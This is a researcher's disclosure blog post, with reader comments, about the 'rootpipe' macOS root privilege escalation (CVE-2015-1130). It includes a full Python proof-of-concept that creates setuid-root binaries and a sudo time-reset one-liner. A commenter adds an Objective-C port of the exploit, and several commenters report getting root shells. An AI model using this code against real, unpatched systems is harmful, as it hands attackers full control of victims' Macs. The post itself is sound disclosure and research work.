Hidden backdoor API to root privileges in Apple OS X


The Admin framework in Apple OS X contains a hidden backdoor API to root privileges. It’s been there for several years (at least since 2011), I found it in October 2014 and it can be exploited to escalate privileges to root from any user account in the system.

The intention was probably to serve the “System Preferences” app and systemsetup (command-line tool), but any user process can use the same functionality.

Apple has now released OS X 10.10.3 where the issue is resolved. OS X 10.9.x and older remain vulnerable, since Apple decided not to patch these versions. We recommend that all users upgrade to 10.10.3.

Why I started searching for vulnerabilities in OS X

TrueSec specialists speak at IT conferences worldwide. I wanted to have something new to demo at a Security Conference for Developers in November 2014. I’ve done many proof-of-concept hacks on iOS and Android before, to highlight what malicious code can achieve with vulnerable devices.

This time it was a security conference for developers, and many of them use Apple OS X as their primary operating system. I wanted to show that OS X could be hacked just as easily as iOS or Android. Operating systems are built out of software, developers create this software, developers make mistakes, and mistakes can introduce security vulnerabilities. I wanted to highlight that all software (yeah, even from Apple) contains vulnerabilities, and many are still to be discovered.

Building a nice demo

The first exploit I used was based on CVE-2013-1775, a sudo authentication bypass bug that was patched in version 10.8.5 (Sept 2013). It felt boring that the vulnerability was more than a year old. The exploit code is very simple:

$ sudo -k;systemsetup -setusingnetworktime Off -settimezone GMT -setdate 01:01:1970 -settime 00:00;sudo su

I talked to my colleague and software developer Philip Åkesson, about the fact that this exploit code uses systemsetup (command line utility) to modify the system time. We were both curious to find out the details of the fix. It turned out that, apart from patching sudo, Apple also changed another thing. They changed so that systemsetup requires root, even to display the help text! When systemsetup is run without root access, the following message is displayed (in 10.8.5 or later):

$ systemsetup
You need administrator access to run this tool... exiting!

This message is a bit misleading, since we are actually running this as an admin user. The user account created during installation of OS X will be admin by default. This is something that I think most OS X users don’t care much about, since sudo and application installation requires password input.

Anyway, the message above indicates that root access is now required to perform the commands (which previously could be done with admin rights).

I found the following code through a quick disassembly in Hopper:


Okay, so the systemsetup binary simply checks if we are running as the root user?

Philip tried patching that function (replacing sete with setne), with success:

$ systemsetup
> systemsetup
> type -help for help.

But so far, we’re only back to the previous behavior of systemsetup (prior to 10.8.5). One example of the commands you can perform with systemsetup is:

$ systemsetup –setremotelogin on

This will enable ssh server on port 22. You can of course also start ssh through launchctl, but launchctl would then require root privileges. So there’s obviously a difference in privileges required! The class name RemoteServerSettings indicates that there’s some kind of interprocess communication, this would explain why operations that require root could be performed. Still, it’s worth mentioning that SSH can also be started through System Preferences (Sharing) without root access.

But I found this discrepancy in permissions interesting, and continued disassembling systemsetup.

The setremotelogin command is implemented in systemsetup as a method called [ServerSettings setRemoteLogin:].

The function does some input checking, and then calls [InternetServices setSSHServerEnabled:]. This is implemented in the Admin framework (used by systemsetup). Disassembly of the Admin framework shows that setSSHServerEnabled is not the only method of the InternetServices interface. There are also methods for starting/stopping many other services. Here’s a listing:

+[InternetServices sharedInternetServices]
+[InternetServices sharedInternetServices].sSharedInternetServices
-[InternetServices _netFSServerFrameworkBundle]
-[InternetServices _netFSServerFrameworkBundle].sNetFSServerkBundle
-[InternetServices _netFSServerFrameworkBundle].sNetFSServerkBundleOnce
-[InternetServices faxReceiveEnabled]
-[InternetServices ftpServerEnabled]
-[InternetServices httpdEnabled]
-[InternetServices isFTPServerAvailable]
-[InternetServices isFaxReceiveAvailable]
-[InternetServices isGuestForProtocolEnabled:]
-[InternetServices isHttpdAvailable]
-[InternetServices isNSCProtocolAvailable:]
-[InternetServices isNSCProtocolEnabled:]
-[InternetServices isNSServerShuttingDown:]
-[InternetServices isOpticalDiscSharingEnabled]
-[InternetServices isRemoteAEServerAvailable]
-[InternetServices isSSHServerAvailable]
-[InternetServices nscServerCancelShutdown:refNum:]
-[InternetServices nscServerShutdown:withDelay:]
-[InternetServices numberOfClientsForProtocols:]
-[InternetServices remoteAEServerEnabled]
-[InternetServices saveNatPrefs:]
-[InternetServices screensharingEnabled]
-[InternetServices sendSIGHUPToEfax]
-[InternetServices setFTPServerEnabled:]
-[InternetServices setFaxReceiveEnabled:]
-[InternetServices setGuestForProtocol:enabled:]
-[InternetServices setHttpdEnabled:]
-[InternetServices setInetDServiceEnabled:enabled:]
-[InternetServices setNSCProtocols:enabled:]
-[InternetServices setOpticalDiscSharingEnabled:]
-[InternetServices setRemoteAEServerEnabled:]
-[InternetServices setSSHServerEnabled:]
-[InternetServices setScreensharingEnabled:]
-[InternetServices sshServerEnabled]
___47-[InternetServices _netFSServerFrameworkBundle]_block_invoke

Some of these, like setHttpdEnabled and setSSHServerEnabled are implemented using a shared helper method [ADMInternetServices setInetDServiceEnabled:enabled:].

I read more of the code inside Admin framework, but stopped at the following code:


This seems to be the code that creates a user-specific apache configuration file for guest accounts (notice that root is owner of this file):

$ ls -l /etc/apache2/users/
total 8
-rw-r--r-- 1 root wheel 139 Apr 1 05:49 std.conf

A hidden backdoor API to root access is revealed

The last Objective-C method that was called in the code screenshot above is createFileWithContents:path:attributes:. It takes an array of bytes (the data to write), a file path and POSIX file attributes.

Re-using this function from my own Objective-C code would look something like this:

[tool createFileWithContents:data
                        path:[NSString stringWithUTF8String:target]
                  attributes:@{ NSFilePosixPermissions : @0777 }];

The question is how we can get hold of the magic “tool” reference. If we look in the beginning of the code screenshot, the code corresponds to this:

id sharedClient =
    [objc_lookUpClass("WriteConfigClient") sharedClient];
id tool = [sharedClient remoteProxy];

Is it really that simple? No! 🙂 But we are getting there. I tried doing this in my own code, but got the following error:

### Attempt to send message without connection!

The next thing to do was finding where this error message is printed:


OK, so this is a check to verify that the XPC proxy within my process is initiated. Let’s look at the ocurrences of _onewayMessageDispatcher to locate the initialization code:


The authenticateUsingAuthorization method is where the actual initialization takes place:


This is exactly what I needed. This is creating an XPC client to the writeconfig XPC service and that service is running as root.


The only question was what I should send as argument to authenticateUsingAuthorization? I went back to the systemsetup binary again and found the following:


It seems like the result of [SFAuthorization authorization] could do the trick. Here’s my modified exploit code, ready for a new attempt:

id auth = [objc_lookUpClass("SFAuthorization") authorization];
id sharedClient =
    [objc_lookUpClass("WriteConfigClient") sharedClient];
[sharedClient authenticateUsingAuthorizationSync: auth];
id tool = [sharedClient remoteProxy];

[tool createFileWithContents:data
                        path:[NSString stringWithUTF8String:target]
                  attributes:@{ NSFilePosixPermissions : @04777 }];

Note that I’m using a Sync-variant of authenticateUsingAuthorization with the same functionality and set the POSIX file permissions to 4777. The file is finally created, and setuid bit is set:

-rwsrwxrwx 1 root wheel 25960 Apr 1 19:29 rootpipe.tmp

Since the setuid bit is set and owner is root, we have a privilege escalation.

My first exploit code was for 10.7.x and 10.8.x, where class and method names are slightly different. The names used above are for 10.9 and later.

There’s still a limitation with the exploit code, it only works for users with admin permissions. As I mentioned earlier, almost all OS X users are admin (since OS X users often are single user systems). Before reporting the issue to Apple, I tried with a standard account, and got the following error message:

### authenticateUsingAuthorizationSync error:Error Domain=com.apple.systemadministration.authorization Code=-60007 "The operation couldn’t be completed. (com.apple.systemadministration.authorization error -60007.)"

But I actually found a way to make it work for all users later, which means that the exploit is no longer limited to admin accounts only. It is as simple as sending nil to authenticateUsingAuthorizationSync instead of using the result of [SFAuthorization authorization]:

[sharedClient authenticateUsingAuthorizationSync: nil];

It seems like the authorization checks are made by triggering callback functions on the auth-object supplied. For those of you who are not Objective-C programmers: Guess what happens if you call methods on a null reference – or to use Objective-C language, send a message to nil? Nothing! 🙂

Conclusion and recommendation

The Admin framework in Apple OS X contained a hidden backdoor API to root access for several years (at least since 2011, when 10.7 was released). The intention was probably to serve the “System Preferences” app and systemsetup (command-line tool), but there is no access restriction. This means the API is accessible (through XPC) from any user process in the system.

This is a local privilege escalation to root, which can be used locally or combined with remote code execution exploits.

Apple indicated that this issue required a substantial amount of changes on their side, and that they will not back port the fix to 10.9.x and older.

Our recommendation to all OS X users out there: Upgrade to 10.10.3 (or later).

Rootpipe Full Disclosure live walkthrough, and much more…

I will explain all details of the rootpipe vulnerability in my session at Security Conference 2015, May 28 in Stockholm, Sweden. You’ll see live on stage how attackers find vulnerabilities in your code, even if they only have access to binaries. My colleagues will present other cool stuff that developers should know about, focusing on security threats and how to write secure code. Visit www.securityconf.se for more info.


  • Oct 2nd 2014: First discovery
  • Oct 3rd 2014: First contact with Apple Product Security Team
  • Oct 14th 2014: Exploit code shared with Apple
  • Oct 24th 2014: Initial full disclosure date set to Jan 12th 2015
  • Oct 16th 2014: Release of OS X 10.10 Yosemite, vulnerable to rootpipe
  • Nov 14th 2014: Apple requested to postpone disclosure
  • Nov 17th 2014: Release of OS X 10.10.1, also vulnerable
  • Jan 12th 2015: Joint decision between Apple and TrueSec to postpone disclosure due to the amount of changes required in OS X
  • Jan 16th 2015: CVE-2015-1130 created by Apple
  • Jan 27th 2015: Release of OS X 10.10.2, also vulnerable
  • March 2nd 2015: Release of OS X 10.10.3 public beta, issue solved
  • April 1st 2015: Apple confirmed that release is coming the second week of April
  • April 8th 2015: Release of OS X 10.10.3
  • April 9th 2015: Full disclosure

Exploit code

#  PoC exploit code for rootpipe (CVE-2015-1130)
#  Created by Emil Kvarnhammar, TrueSec
#  Tested on OS X 10.7.5, 10.8.2, 10.9.5 and 10.10.2
import os
import sys
import platform
import re
import ctypes
import objc
import sys
from Cocoa import NSData, NSMutableDictionary, NSFilePosixPermissions
from Foundation import NSAutoreleasePool

def load_lib(append_path):
    return ctypes.cdll.LoadLibrary("/System/Library/PrivateFrameworks/" + append_path);

def use_old_api():
    return re.match("^(10.7|10.8)(.\d)?$", platform.mac_ver()[0])

args = sys.argv

if len(args) != 3:
    print "usage: exploit.py source_binary dest_binary_as_root"

source_binary = args[1]
dest_binary = os.path.realpath(args[2])

if not os.path.exists(source_binary):
    raise Exception("file does not exist!")

pool = NSAutoreleasePool.alloc().init()

attr = NSMutableDictionary.alloc().init()
attr.setValue_forKey_(04777, NSFilePosixPermissions)
data = NSData.alloc().initWithContentsOfFile_(source_binary)

print "will write file", dest_binary

if use_old_api():
    adm_lib = load_lib("/Admin.framework/Admin")
    Authenticator = objc.lookUpClass("Authenticator")
    ToolLiaison = objc.lookUpClass("ToolLiaison")
    SFAuthorization = objc.lookUpClass("SFAuthorization")

    authent = Authenticator.sharedAuthenticator()
    authref = SFAuthorization.authorization()

    # authref with value nil is not accepted on OS X <= 10.8
    st = ToolLiaison.sharedToolLiaison()
    tool = st.tool()
    tool.createFileWithContents_path_attributes_(data, dest_binary, attr)
    adm_lib = load_lib("/SystemAdministration.framework/SystemAdministration")
    WriteConfigClient = objc.lookUpClass("WriteConfigClient")
    client = WriteConfigClient.sharedClient()
    tool = client.remoteProxy()

    tool.createFileWithContents_path_attributes_(data, dest_binary, attr, 0)

print "Done!"

del pool

Security software engineer and researcher, with a passion for both reverse engineering and building secure software implementations (with a know-your-enemy approach).

Tagged with: , ,
Posted in Hacking
140 comments on “Hidden backdoor API to root privileges in Apple OS X
  1. mu-b says:

    Interesting article, I came across this many years ago (around 2009) in Apple’s technique to enable ‘Universal Access’. The creation of a file /var/db/.AccessibilityAPIEnabled kind of gave the game away…. I used the trick in http://www.youtube.com/watch?v=EimZQgt7WPg to drop a keylogger for the demonstration.


  2. nobody says:

    And a year later, they added PRISM support for the NSA 😛


  3. Gama Xul says:

    This is funny.


  4. tequir00t says:

    Good job! Was it really such a difficult fix that it took apple 5 full months to resolve the issue? Do you know how exactly did they fix the vulnerability?


  5. Thomas says:

    Any information about what Apple changed in 10.10.3 in order to fix this?


  6. sysad says:

    apple won’t fix 10.9? looks like i am done with them for good.


  7. Hello Emil,

    How does one use the Python script provided to gain root access? I manage some Apple computers at a school and we’re curious about this.

    Thank you,


    • You can use the script to copy an arbitrary executable file so that the destination file will be owned by root and have the setuid bit set (see the 04777 part of the code, that corresponds to using chmod 4777 in a shell). The destination executable will run with root permissions when launched.


  8. Fred Schlip says:

    wonder if this is in iOS on mobile platforms too?


  9. What’s the view on delaying public disclosure on such a serious security flaw? I understand the reasons for agreeing that Apple should have more time to fix it but shouldn’t a $770 billion company have worked more quickly on this one? If a white hat found this it’s possible, I guess, that less principled parties were actively using it having discovered it independently.


    • Emil, what’s your response to that?


      • We also thought Apple should have the capacity to fix it sooner. But at the same time we wanted to avoid chaos with respect to all the OS X users out there. It was out of our control, unfortunately.

        Liked by 1 person

    • orthorim says:

      He did the right thing. It’s misleading to say that this is a security flaw more serious than others – that it’s somehow special. It is much more likely that OS X is actually full of these and other exploits, and that hackers who are both capable and interested can find them in less time than we think.

      As to NSA and so on – I am willing to bet good money they have a few zero day exploits on hand just in case they need them. Windows even more so.

      If you give this exploit away you make it a low-hanging fruit where all the lesser hackers get in the game and create botnets and so on, and hack thousands if not millions of un-patched machines. It would be irresponsible to release this.


  10. Chris Baldwin says:

    wow. Great work. I am an amateur OS x security enthusiast, due to the fact that I have been dealing with this exact situation for years now, on multiple systems. All of my knowledge is self taught through research on how OS X works, and researching the error messages that were telling me something just wasn’t right. In reading your exploit, I found a number of similarities to my situation. I think this may finally put to rest an issue that No one, including apple have been able to help with, and which I have been in able to solve on my own. I believe there are far more people compromised than anyone realizes because of this. I only know because I have spent so much time chasing it personally. Thank you for the work, finding this, and getting it patched.


  11. Mixedmediabuff27 says:

    I found this article very interesting! I was wondering if this exploit was still vulnerable through a default user account (that is, not an admin).


  12. GB says:

    Nice work!


  13. Christer says:

    Grymt! Är inne på mitt första år att jobba med säkerhet (halkade in på ett bananskal) och när jag ser sånt här inser jag att det är långt kvar att gå 🙂 Jag kommer dock bara jobba med detektering av intrång och lite trafikanalys, men detta är sjukt intressant ändå. Stor upp till dig!


  14. KH Lim says:

    Does this exploit affects Snow Leopard 10.6.8 as well…?


  15. Ozan Guney says:

    Clean, professional article. Well done!


  16. John Car says:

    My family are all using Apple machines with 10.9.5 for various reasons. What sort of access is required to one of them, for this exploit to be used by attackers? All our machines are behind firewall, but obviously some services are open to our machines. What service should be blocked at the firewall to prevent this exploit being used?


    • This is a local privilege escalation. For a successful attack, attackers would need the ability to execute code. This can be achieved through a vulnerability in the browser, an installed malicious application, documents with macros etc.


  17. Micke says:

    Thank you Emil for sharing the details in such an approachable way, even for a developer like me not working exclusively with security or reverse engineering. I think security is a really interesting field that I would like to approach much more, and articles like this one really helps me to know what to expect and how to learn more.
    Great work!


  18. noar says:

    Many thanks Emil for sharing the exploit and how you found it with us.
    It works perfectly on 10.9 with the nil thing 🙂
    Unfortunately, it is not working on Lion where st.tool() is None. Any idea?


  19. Hen Asraf says:

    Interesting, can this be used to make me a sudoer on my work computer? As a developer I need sudo access for lots of stuff but my account is regular admin and that makes it very limited…


    • Not sure if I understand you correctly, but admins are normally sudoers. Maybe they removed that entry from your work computer. Anyway, this exploit gives you root access, and root has access to everything (including modifying sudoers).


  20. Good work, but I think you’re exaggerating by calling this a “backdoor”. It’s a privilege escalation exploit. As you point out, it must be “combined with remote code execution exploits” to be used over the network, and there’s no indication that this flaw is intentional (which is how most people interpret the term “backdoor”).

    Still, it’s good to know about the flaw and that Apple has fixed it in 10.10.3. Perhaps with some press they will go back and patch some older systems.

    Liked by 1 person

  21. Some guy from /r/netsec says:

    Confirmed threat – good work.

    Can be defeated however like so:
    sudo chmod 750 /System/Library/PrivateFrameworks/SystemAdministration.framework


    • To some extent, but it’s not necessary to have access to the libraries in order to exploit this (even if my simple exploit example does that). The XPC client part in the libraries could be implemented by malicious code.


  22. scottpgallagher says:

    Using your code and trying to recreate binaries it is still asking for password when trying to run the re-created binary. Any thoughts?


    • If you’re looking for a shell with root access, try creating a wrapper binary (and copy that binary through the exploit code). The code of that binary would do something like this:

      int main(void)


      • JJ says:

        Could someone help me with this? I feel dumb asking but I’m having trouble making the wrapper..


  23. John Car says:

    Apple released a new security update today, any chance this closes that door in 10.9.5?


  24. John Palkovic says:

    I applied security update 2015-004 to a Mavericks system (10.9.5) yesterday. I’m typing this post from it. The update patches the hole this article discusses. It showed up in the Updates tab of the App Store, as expected. Bog-standard Apple security update, in other words.

    You don’t have to upgrade to Yosemite to patch this hole.


    • Very interesting. Thanks John for pointing this out, I will verify immediately and update the article with this info. This is different from what Apple told me, and what Apple indicates at https://support.apple.com/en-us/HT204659 (“Available for: OS X Yosemite v10.10 to v10.10.2”).


    • brodie says:

      Security update 2015-004 contains many different patches, some of them are available for different versions of OSX. Just because you installed 2015-004 doesn’t mean you are patched against this. Apples release notes clearly indicate that this vulnerability was only patched on Yosemite.

      From apples release notes:

      Admin Framework
      Available for: OS X Yosemite v10.10 to v10.10.2
      Impact: A process may gain admin privileges without properly
      Description: An issue existed when checking XPC entitlements. This
      issue was addressed with improved entitlement checking.
      CVE-2015-1130 : Emil Kvarnhammar at TrueSec


  25. John Car says:

    Thank God! There is no way I’ll upgrade to Yosemite, I want to keep using Aperture until I figure out what other program I’ll learn next, and it doesn’t run on Yosemite. Let alone, it’s a hassle to upgrade my MacPro 1,1 due to the 32bit EFI.

    Let us know Emil!!! And many thanks.


  26. John you are wrong. The update from apple yesterday does not fix this security flaw. The exploit worked perfectly on my 10.9.5 computer.


  27. I’ll repeat this again… The security update to 10.9.5 yesterday DOES NOT FIX THIS ISSUE.

    -rwsrwxrwx 1 root staff 3241776 10 Apr 11:47 nslookup

    Setuid bit is set
    Owner is root

    Looks exploited to me.


  28. John Car says:



  29. This is absolutely f****ing nuts though. Apple can’t even release security updates for a 1 year old operating system? Holy shit. Microsoft will backported fixes for 10 YEARS!! A WHOLE DECADE.

    Liked by 2 people

    • orthorim says:

      Makes no sense. They’ll have to back port it now that its out in the open… they can hardly say “hey any of our existing 10.8, 10.9 installs can be hacked in a heartbeat”


  30. The chmod 750 just kills every other app so its not a stop gap either


  31. Manny says:

    What effective mitigations are there on Mavericks and Mountain Lion? This is especially important since Apple thus far has elected not to back port the fix to this to Mavericks and Mountain Lion.


  32. tweakbsd says:

    Thanks for disclosing.


  33. Jason B says:

    Emil, great find and post with lots of interesting info!

    I just tested the exploit on my 10.8.5 machine (with all the patches).
    * With my (admin rights) user, it succeeds in creating the setuid root binary.
    *no big deal, as admin can simply sudo su to become root at any time.
    *For a Standard User, it fails with Segmentation fault, and does not create the new file.
    *For a Managed User, it also fails with Segfault, and does not create the new file.

    Kevin, the account you tested from, was it Admin, Standard, or Managed?

    I will test again on another machine, running 10.9 Mavericks, on Sunday.

    — exact segfault error below —
    python test.py /bin/bash ./rootbash
    will write file /Users/medium/rootbash
    Traceback (most recent call last):
    File “test.py”, line 60, in
    tool.createFileWithContents_path_attributes_(data, dest_binary, attr)
    AttributeError: ‘NoneType’ object has no attribute ‘createFileWithContents_path_attributes_’
    Segmentation fault: 11


    • The exploit code that I included in the article works for all types of accounts on 10.9.x and up to 10.10.2. This is the versions where I’ve put my main focus. Right now the code only works for admin users on 10.8.x and 10.7.x, I haven’t had time to investigate it in more detail.


  34. mlachmann says:

    It seems at least disabling the nil exploit should be an easy fix for apple, no?


  35. Narimaan Valian says:

    The fact that Apple won’t update OS X 10.9 and older is completely ridiculous. There are legitimate reasons why some don’t/can’t update to 10.10, and Apple’s (pretty clear) attempt at forcing people to either have a big security hole in their macs or go and buy another multi-thousand dollar machine even though there’s works just fine, really says something about Apple’s attitude as a business. They’re a hundred-BILLION dollar company, there’s no way creating patches for old OS is anywhere near a challenge for them. First they’ve locked down their hardware with soldered in hard drives and RAM, now locking down their software by refusing to create security patches for older computers. I wouldn’t be surprised to see this as a start to a new trend of “Nah, it’s ‘too much work’ to create this same update for older computers and OS’s, just update OS or buy a ANOTHER over-priced mac”. Do I sound biased/subjectively opinionated? I sure hope I do. I have a 2011 Macbook Pro running Mavericks because Yosemite messes with my ability to enable Trim for my 3rd party 1TB SSD, so now I get to walk around with my 3-grand laptop which works extremely well, except now I get to worry about constantly being hacked because Apple wants to force Yosemite on me. Thanks Apple, keep on giving me more reasons why my first Mac will be my last Mac.


    • I have submitted a bug request for this with Apple, as I don#t see any reason to be forced by Apple to upgrade to their latest (unstable and to be tested) OSX version, if I barely got used to 10.9.5 after a year. I had to buy software which does not play nicely with 10.10 and thus there’s no incentive for me to upgrade right now. Instead I want a security-updated system, especially since it is said to be a maintained release still.

      I am flabbergasted to realise that Apple simply refuses to back port this… 😦


    • imix says:

      May I suggest you try Linux Mint. I predict you’ll like it. Done with Apple myself, moved everything over to tux and don’t miss it at all. RIP Steve Jobs, the company you founded and ressurected has officially gone to sh*t.


      • Narimaan Valian says:

        I actually have been playing around with Ubuntu and Mint on virtual machines on my mac. I like them a lot and am still trying to figure out which one I’d favor when I move to a custom PC with Windows/Linux partitions. And I agree that everything Jobs did to build Apple up is currently going to waste as Apple is slowly spiraling down with stupid decision after stupid decision.


  36. Marko Käning says:

    I will file a bug report with Apple and I guess it might help if more users did so in order to force them into action.


  37. Miles Wolbe says:

    Thanks so much for publishing your work, Emil.

    Like many, I am disappointed that Apple won’t be patching 10.9 and 10.8, which ostensibly are still receiving other security updates. I have seen a number of OS X adware infections lately, and I imagine that this unpatched (in 10.9.5 and earlier) exploit will make things even worse; I was shocked how easy it was (thanks to your exploit code and c wrapper example) to get a root prompt in 10.10.2 without entering any credentials:

    $ python ./rootpipe.py a.out rootshell
    will write file /Users/user/rootshell
    $ ./rootshell
    sh-3.2# whoami

    While the binary compiled under 10.10.2 did not function as expected in 10.9.5:

    $ ./rootshell
    sh-3.2$ whoami

    recompiling under 10.9.5 resulted in a working binary (despite the “Segmentation fault: 11” message):

    $ python ./rootpipe.py a.out rootshell
    will write file /Users/user/rootshell
    Segmentation fault: 11
    $ ./rootshell
    sh-3.2# whoami

    Apple, please fix this in your currently supported OSes; too many customers rely on 10.9 and 10.8 to leave this vulnerability unpatched.


  38. Miles Wolbe says:

    I just installed 10.10.3 and sadly find that the same binary mentioned in my previous comment still returns a root prompt with no credentials required: https://imgur.com/P8X4dx0 . However, attempting to compile a new binary (rather than reuse the one compiled under 10.10.2) returns an error:

    $ python ./rootpipe.py a.out rootshell
    will write file /Users/user/Desktop/rootshell_compiled_inder10103
    2015-04-11 02:38:42.231 Python[664:217296] ### syncProxyWithSemaphore error:Error Domain=NSCocoaErrorDomain Code=4097 "Couldn’t communicate with a helper application." (connection to service named com.apple.systemadministration.writeconfig) UserInfo=0x7fcb09c04830 {NSDebugDescription=connection to service named com.apple.systemadministration.writeconfig}


    • Jason B says:

      Hi Miles, the exploit allows the creation of a file (binary or shell script) that has the “setuid” bit set, which means that this binary can run as the user who owns it. So if there is a program that is owned by root, but runnable by anyone, then they can get root access – this is an old UNIX thing, and is necessary in some circumstances, however only root (or privileged) user should be able to create a setuid file that is owned by root.

      since you already created the file before the patch – it has the proper bits set:
      -rwsrwxrwx 1 root staff 8544 Apr 12 09:59 rootshell
      (notice the first ‘s’ instead of ‘x’)

      after your testing, you should remove this file, or `sudo chmod -s rootshell` so it’s not accidentally run in the future.

      I confirm that this exploit is working in a patched 10.9.5

      As much as people want to bash Microsoft, at least they backport all their security patches to older OS – for comparison Windows 7 is 6 years old and will get security patches until 2020. OS X Mavericks is < 2 years old and has just stopped receiving (all) security patches "because it's too hard."
      Shame on you Apple.


      • Miles Wolbe says:

        Thanks so much for explaining that, Jason.

        I mistakenly thought the binary would run the same way on any Mac, but now see that the owner and permissions (including setuid) change as soon as the file is copied.

        Which set me off on testing various ways to copy the file to another Mac with the exact same ownership and permissions (including setuid) in place: cp -p, tar, rsync, “Paste Item Exactly” (Shift+Alt+Cmd+V), etc. to no avail.

        Another thing I found interesting: attempting to create the rootshell binary on an HFS+-formatted external drive resulted in a binary with setuid set, but the owner was the logged in user, not root. Repeating the process on the local drive resulted in a binary with both setuid permission and root as the owner.


  39. Root with a Python script?

    Just like in the movies.


  40. Copel says:


    Does this trick also work without getting in the (root) terminal? A friend of me did something with open firmware and cmd-s etc doesn’t work. Only cmd-r but my imac is asking for the root pass directly. Or from the Guest account i activated for guest at home? Im using the iMac for just a month so good yet with the OSX (yet).


    • Access to the terminal is not required. You can exploit this from anywhere you can execute code, e.g. an Excel spreadsheet with macros. You can launch the exploit from the guest account in 10.9.x-10.10.2.


      • ocopel says:

        Hello, thans you for your answer. I logged in the Guest account and opened terminal. The first code($ sudo…sudo so) worked but is asking for the admin pass. Like I sad I don’t have the pass anymore. What can I do to bypass this step?

        Using 10.10.2 (root and admin pass are missing only guest access. Only cmd-r working but asking for root pass directly.)

        Hope you can help me.

        Kind regards.


  41. Larry Bugbee says:

    Dear Apple,

    I would like to think you were misunderstood or perhaps misspoke when you said you were not going to backport the fix to Mavericks and Mountain Lion.

    Regardless, please, it would be the smart thing to do.



  42. You have to be nuts to think this is NOT intentional. Do you know how many exploits exist to allow the psychopaths access to our machines? Ever since Jobs died, Apple is in cahoots with the NSA or whoever other psychopathic entities. Of course it’s intentional. Of course they won’t update older OSes. FIlthy Psychos. A billion dollar company can’t fix some bloody code. It’s such a joke it’s beyond stupidity. They can fix it in a day if they want. They can do whatever they want. And that is what Apple is doing. WHAT THEY WANT.


    • Larry Bugbee says:

      Please don’t misunderstand me. There are a number of thoughts running thru my mind.

      – sugar vs vinegar, benefit of doubt, shame as a motivator…

      – never attribute to malice that which can be adequately explained by stupidity,
      as in a misguided management team thinking they can in increase Yosemite
      adoption rate. (which will work for some procrastinators)

      – the cost of backporting would bust a manager’s budget and bonus.

      – a “deal” they couldn’t refuse

      …but I doubt intentional in the sense Apple deliberately wants to bring down its user community. No, I will go with stupid and/or a set of principles not focused on doing the right thing.

      Nevertheless, Linux Mint is looking better all the time.

      I keep saying I will throw the switch but my big stumbling block is the inconsistent use of keyboard shortcuts for cut/copy/paste. The use of the super key helps but each app has to be configured separately, if they support it at all. Without a central place from which to configure the super key for all apps, it still causes me to slow down and think about which app I am in and its key conventions. Silly? Perhaps, but it drives me nuts.

      …but if the alternative is to be wide open, it’s time to suck it up and convert. What Apple says this next week will, for me anyway, be the deciding factor.


      • For me too!
        I have filed a bug report* with Apple, pointing them to this thread.
        Let’s wait and see what happens…

        *) Filing a report for this in Apple’s bug reporter is what any sane OSX user should do IMHO. Let them see a flood in their bug reporting system inbox. When they’re sick of clicking those issues away they might react. 😉


  43. They’ll fix it on Yosemite because that OS has way more ways of compromising your privacy so it’ snot such a big deal. Please, you have got to be kidding me. Not intentional… lol!!!


  44. orthorim says:

    Thanks for this very interesting walkthrough. As a programmer I found the steps very easy to follow – to the point where I think I could be a security researcher or hacker too if I wanted to.

    I’d like to know how long it took you to come up with the exploit – the steps make it look easy, but then it’s always easy when you know how. Just as a ballpark? Days? Weeks?

    In general I prefer a holistic view on security as well – if you’re capable and determined, you will find exploits. The number of remaining possible exploits is quite likely unlimited for all practical purposes.


  45. Jon says:

    Agreed. Apple need to get busy and fix this pronto. Do they really think every software developers, driver writer and hardware manufacturer can updates all their packages overnight. Utterly reticulous.

    I’m still on 10.8.5. Can anyone confirm whether the exploit can be run as standard user?


  46. Goerge says:

    Of course this was intentional. Don’t make me laugh. Apple work for the raging psychos. The only solution is to do empathy therapy to recouperate the psychopaths.


  47. Tyler says:

    When I run the script, it doesn’t create the binary. All that happens is a failure. I am on 10.9.5 patched.

    iMac:~ ::MY USER::$ python /Users/::MY USER::/Desktop/xCode/rootpipe/exploit.py ~/Desktop/WrapperApp ~/Desktop/RootTerm
    will write file /Users/::MY USER::/Desktop/RootTerm
    2015-04-12 08:59:28.423 Python[44130:1403] ### syncProxyWithSemaphore error:Error Domain=NSCocoaErrorDomain Code=4099 “Couldn’t communicate with a helper application.” (The connection was invalidated from the other process or the connection name was invalid.) UserInfo=0x7fed60cc23c0 {NSDebugDescription=The connection was invalidated from the other process or the connection name was invalid.}
    2015-04-12 08:59:28.424 Python[44130:1107] ### Attempt to send message without connection!
    Traceback (most recent call last):
    File “/Users/::MY USER::/Desktop/xCode/rootpipe/exploit.py”, line 67, in
    tool.createFileWithContents_path_attributes_(data, dest_binary, attr, 0)
    AttributeError: ‘NoneType’ object has no attribute ‘createFileWithContents_path_attributes_’
    Segmentation fault: 11

    It is worth mentioning that I have FileVault on. Is there something I’m doing wrong?


    • Hard to say without being able to debug. I have a 10.9.5 with the latest 2015-004 patch, and the exploit code works there. It sounds like you got a nil result on client.remoteProxy(), and that the exploit is unable to connect to writeconfig (the XPC service). Check that there’s a process running with that name, or try rebooting your system.


    • Forgot to answer regarding FileVault. The exploit works perfect even with FileVault activated.


  48. Paul Kiman says:

    Apparently the exploit is not affecting 10.6.8. One reason more to not upgrade.


  49. The Python script with a minor tweak to use the “old API” did not work on 10.6.8 (works fine on 10.9).

    Traceback (most recent call last):
    File “./rootpipe.py”, line 61, in
    tool.createFileWithContents_path_attributes_(data, dest_binary, attr)
    ValueError: NSInvalidArgumentException – *** -encodeInt:forKey: only defined for abstract class. Define -[NSConcretePortCoder encodeInt:forKey:]!

    The quirky failure along with what looks like a dangerous payload in the Admin framework led me to rewrite the Python script as an Obj-C exploit which unfortunately does work.

    Compile with:

    gcc mkroot.m -o mkroot -framework Foundation -framework Admin -F/Developer/SDKs/MacOSX10.6.sdk/System/Library/PrivateFrameworks


    int main (int argc, const char * argv[])
    if (argc < 3)
    NSLog(@"Usage: mkroot “);
    return 1;

    id pool = [NSAutoreleasePool new];

    id authref = [objc_lookUpClass(“SFAuthorization”) authorization];
    id authent = [objc_lookUpClass(“Authenticator”) sharedAuthenticator];
    id tool_liason = [objc_lookUpClass(“ToolLiaison”) sharedToolLiaison];

    [authent authenticateUsingAuthorizationSync: authref];

    id tool = [tool_liason tool];

    NSDictionary *attributes = [NSDictionary dictionaryWithObject:[NSNumber numberWithShort:04777]
    NSString *src = [NSString stringWithUTF8String:argv[1]];
    NSString *dst = [NSString stringWithUTF8String:argv[2]];

    NSData *data = [NSData dataWithContentsOfFile:src];

    NSLog(@”mkroot source path: %@”, src);
    NSLog(@”SUID root destination path: %@”, dst);

    [tool createFileWithContents:data path:dst attributes:attributes];

    NSLog(@”mkroot finished!”);

    [pool release];

    return 0;


    • Vic says:

